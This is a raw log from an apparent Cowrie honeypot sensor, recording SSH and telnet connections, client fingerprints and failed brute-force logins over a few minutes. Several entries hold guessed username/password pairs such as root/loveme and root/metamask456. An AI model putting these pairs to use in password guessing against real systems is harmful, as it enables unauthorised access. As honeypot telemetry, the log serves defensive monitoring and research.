{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:27.468703Z","src_ip":"8.210.75.243","session":"db4673694579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":48008,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e4f3ac2922","protocol":"ssh","message":"New connection: 119.203.251.187:48008 (10.17.0.5:22) [session: a5e4f3ac2922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:29.057494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:29.063743Z","src_ip":"119.203.251.187","session":"a5e4f3ac2922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:29.262076Z","src_ip":"119.203.251.187","session":"a5e4f3ac2922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:30.090743Z","src_ip":"119.203.251.187","session":"a5e4f3ac2922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:31.292328Z","src_ip":"119.203.251.187","session":"a5e4f3ac2922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34796,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef42ef3e1be","protocol":"telnet","message":"New connection: 170.64.224.25:34796 (159.203.135.109:23) [session: 4ef42ef3e1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:31.872706Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34618,"dst_ip":"10.17.0.5","dst_port":22,"session":"762e34d33e05","protocol":"ssh","message":"New connection: 103.82.132.16:34618 (10.17.0.5:22) [session: 762e34d33e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:57.702375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:57.706674Z","src_ip":"103.82.132.16","session":"762e34d33e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:57.959849Z","src_ip":"103.82.132.16","session":"762e34d33e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060589","message":"login attempt [root/060589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:58.720612Z","src_ip":"103.82.132.16","session":"762e34d33e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:35:59.976366Z","src_ip":"103.82.132.16","session":"762e34d33e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.119088172912598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:01.991644Z","src_ip":"170.64.224.25","session":"4ef42ef3e1be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.277093172073364,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:09.790771Z","src_ip":"170.64.224.25","session":"0defbff0f5bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":52254,"dst_ip":"159.203.135.109","dst_port":22,"session":"877966bfb933","protocol":"ssh","message":"New connection: 159.65.58.200:52254 (159.203.135.109:22) [session: 877966bfb933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:16.391724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:16.699639Z","src_ip":"159.65.58.200","session":"877966bfb933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:16.703041Z","src_ip":"159.65.58.200","session":"877966bfb933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdato","password":"123456","message":"login attempt [sdato/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:18.196769Z","src_ip":"159.65.58.200","session":"877966bfb933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:19.527196Z","src_ip":"159.65.58.200","session":"877966bfb933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4f77d7bfba","protocol":"ssh","message":"New connection: 8.210.75.243:56538 (10.17.0.5:22) [session: 3c4f77d7bfba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:22.601757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:22.605623Z","src_ip":"8.210.75.243","session":"3c4f77d7bfba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39648,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9fdcc244adb","protocol":"ssh","message":"New connection: 91.92.40.4:39648 (10.17.0.5:22) [session: a9fdcc244adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:22.821877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:22.826624Z","src_ip":"91.92.40.4","session":"a9fdcc244adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:22.909406Z","src_ip":"91.92.40.4","session":"a9fdcc244adb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"321123","message":"login attempt [hadoop/321123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:23.156467Z","src_ip":"91.92.40.4","session":"a9fdcc244adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59802,"dst_ip":"159.203.135.109","dst_port":23,"session":"03ad4eb65b64","protocol":"telnet","message":"New connection: 170.64.224.25:59802 (159.203.135.109:23) [session: 03ad4eb65b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:23.390458Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:24.240958Z","src_ip":"91.92.40.4","session":"a9fdcc244adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37254,"dst_ip":"159.203.135.109","dst_port":23,"session":"7227a8666c58","protocol":"telnet","message":"New connection: 170.64.224.25:37254 (159.203.135.109:23) [session: 7227a8666c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:44.200999Z"}
{"eventid":"cowrie.session.closed","duration":22.75842809677124,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:46.148789Z","src_ip":"170.64.224.25","session":"03ad4eb65b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40410,"dst_ip":"10.17.0.5","dst_port":22,"session":"d292d9c2d497","protocol":"ssh","message":"New connection: 8.210.75.243:40410 (10.17.0.5:22) [session: d292d9c2d497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:55.156952Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:36:58.665228Z","src_ip":"8.210.75.243","session":"9b9607c4241b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36248,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b69df770ae3","protocol":"ssh","message":"New connection: 103.82.20.28:36248 (159.203.135.109:22) [session: 3b69df770ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:07.488347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:07.494683Z","src_ip":"103.82.20.28","session":"3b69df770ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:07.746049Z","src_ip":"103.82.20.28","session":"3b69df770ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101281","message":"login attempt [root/101281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:08.507647Z","src_ip":"103.82.20.28","session":"3b69df770ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1e3a6b22129","protocol":"ssh","message":"New connection: 14.29.214.161:39578 (10.17.0.5:22) [session: f1e3a6b22129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:09.576340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:09.580769Z","src_ip":"14.29.214.161","session":"f1e3a6b22129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:09.760913Z","src_ip":"103.82.20.28","session":"3b69df770ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:09.810140Z","src_ip":"14.29.214.161","session":"f1e3a6b22129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q@123456","message":"login attempt [root/q@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:11.037570Z","src_ip":"14.29.214.161","session":"f1e3a6b22129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:12.269748Z","src_ip":"14.29.214.161","session":"f1e3a6b22129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43880105018616,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:16.639679Z","src_ip":"170.64.224.25","session":"7227a8666c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":50738,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb37ea0bc99e","protocol":"ssh","message":"New connection: 199.192.25.149:50738 (159.203.135.109:22) [session: cb37ea0bc99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:20.934701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:20.938654Z","src_ip":"199.192.25.149","session":"cb37ea0bc99e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:21.006190Z","src_ip":"199.192.25.149","session":"cb37ea0bc99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metamask456","message":"login attempt [root/metamask456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:21.209830Z","src_ip":"199.192.25.149","session":"cb37ea0bc99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:22.279735Z","src_ip":"199.192.25.149","session":"cb37ea0bc99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:24.398848Z","src_ip":"8.210.75.243","session":"db4673694579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52530,"dst_ip":"10.17.0.5","dst_port":22,"session":"160d50dc1129","protocol":"ssh","message":"New connection: 8.210.75.243:52530 (10.17.0.5:22) [session: 160d50dc1129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:41.463806Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":59168,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f8a41f28b4","protocol":"ssh","message":"New connection: 85.214.154.50:59168 (10.17.0.5:22) [session: d7f8a41f28b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:50.630499Z"}
